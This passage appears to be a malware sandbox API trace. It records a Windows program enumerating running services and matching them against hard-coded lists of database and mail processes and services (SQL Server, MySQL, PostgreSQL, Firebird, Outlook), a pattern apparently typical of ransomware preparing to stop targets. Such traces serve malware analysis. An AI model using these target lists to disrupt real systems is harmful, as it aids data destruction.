Flags=0x0, Size=0x14) returned 0x6f7760 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bf60, Size=0x10) returned 0x73cab8 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x18) returned 0x6f7740 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1a) returned 0x71e6d8 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cab8, Size=0x20) returned 0x71e9a8 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1c) returned 0x71e9f8 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x16) returned 0x6f75e0 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1a) returned 0x71e958 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73c998 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x73bf60 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x40) returned 0x6f8710 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bf60, Size=0x8) returned 0x73bfd0 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x3c) returned 0x6f8560 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bfd0, Size=0x10) returned 0x73c9c8 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x14) returned 0x6f74a0 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x18) returned 0x6f7440 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c9c8, Size=0x20) returned 0x71e9d0 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x24) returned 0x6f6550 [0271.003] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0271.003] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73b258 | out: hHeap=0x6e0000) returned 1 [0271.003] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0271.003] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73b570 | out: hHeap=0x6e0000) returned 1 [0271.003] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71e7c8 [0271.004] EnumServicesStatusExW (in: hSCManager=0x71e7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0271.004] GetLastError () returned 0xea [0271.004] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x740b48 [0271.004] EnumServicesStatusExW (in: hSCManager=0x71e7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x740b48, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x740b48, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0271.005] CloseServiceHandle (hSCObject=0x71e7c8) returned 1 [0271.005] lstrlenW (lpString="AppXSvc") returned 7 [0271.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0271.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0271.005] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0271.005] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0271.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0271.005] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.006] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.006] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.006] lstrlenW (lpString="Audiosrv") returned 8 [0271.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0271.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0271.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0271.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0271.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0271.006] lstrlenW (lpString="BFE") returned 3 [0271.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.006] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.006] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.006] lstrlenW (lpString="BITS") returned 4 [0271.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0271.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0271.006] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0271.006] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0271.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0271.010] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0271.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.010] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0271.011] lstrlenW (lpString="CDPSvc") returned 6 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0271.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0271.011] lstrlenW (lpString="ClickToRunSvc") returned 13 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0271.011] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0271.011] lstrlenW (lpString="CryptSvc") returned 8 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.011] lstrlenW (lpString="DcomLaunch") returned 10 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.011] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.011] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.011] lstrlenW (lpString="DeviceAssociationService") returned 24 [0271.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0271.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0271.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0271.012] lstrlenW (lpString="Dhcp") returned 4 [0271.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.012] lstrlenW (lpString="Dnscache") returned 8 [0271.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.012] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.012] lstrlenW (lpString="DPS") returned 3 [0271.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.012] lstrlenW (lpString="DusmSvc") returned 7 [0271.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0271.012] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0271.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0271.012] lstrlenW (lpString="EventLog") returned 8 [0271.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0271.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0271.012] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0271.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0271.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0271.023] lstrlenW (lpString="EventSystem") returned 11 [0271.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.023] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.023] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.023] lstrlenW (lpString="FontCache") returned 9 [0271.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0271.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0271.023] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0271.023] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0271.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0271.023] lstrlenW (lpString="gpsvc") returned 5 [0271.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.023] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.023] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.023] lstrlenW (lpString="iphlpsvc") returned 8 [0271.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.024] lstrlenW (lpString="KeyIso") returned 6 [0271.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0271.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0271.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0271.024] lstrlenW (lpString="LanmanServer") returned 12 [0271.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.024] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.024] lstrlenW (lpString="lfsvc") returned 5 [0271.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0271.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0271.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0271.024] lstrlenW (lpString="lmhosts") returned 7 [0271.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.025] lstrlenW (lpString="LSM") returned 3 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0271.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0271.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0271.025] lstrlenW (lpString="MpsSvc") returned 6 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.025] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.025] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.025] lstrlenW (lpString="NcbService") returned 10 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0271.025] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0271.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0271.025] lstrlenW (lpString="netprofm") returned 8 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.025] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.025] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.025] lstrlenW (lpString="NgcSvc") returned 6 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0271.025] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0271.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0271.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0271.025] lstrlenW (lpString="NlaSvc") returned 6 [0271.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.026] lstrlenW (lpString="nsi") returned 3 [0271.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.026] lstrlenW (lpString="PcaSvc") returned 6 [0271.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.026] lstrlenW (lpString="PlugPlay") returned 8 [0271.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.026] lstrlenW (lpString="Power") returned 5 [0271.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.026] lstrlenW (lpString="ProfSvc") returned 7 [0271.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.026] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.026] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.027] lstrlenW (lpString="RpcSs") returned 5 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.027] lstrlenW (lpString="SamSs") returned 5 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.027] lstrlenW (lpString="Schedule") returned 8 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.027] lstrlenW (lpString="SecurityHealthService") returned 21 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0271.027] lstrlenW (lpString="SENS") returned 4 [0271.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.028] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.028] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.028] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.028] lstrlenW (lpString="Spooler") returned 7 [0271.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.028] lstrlenW (lpString="SSDPSRV") returned 7 [0271.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0271.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0271.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0271.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0271.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0271.028] lstrlenW (lpString="StateRepository") returned 15 [0271.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0271.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0271.028] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0271.028] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0271.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0271.028] lstrlenW (lpString="SysMain") returned 7 [0271.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0271.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0271.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0271.028] lstrlenW (lpString="SystemEventsBroker") returned 18 [0271.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0271.029] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") 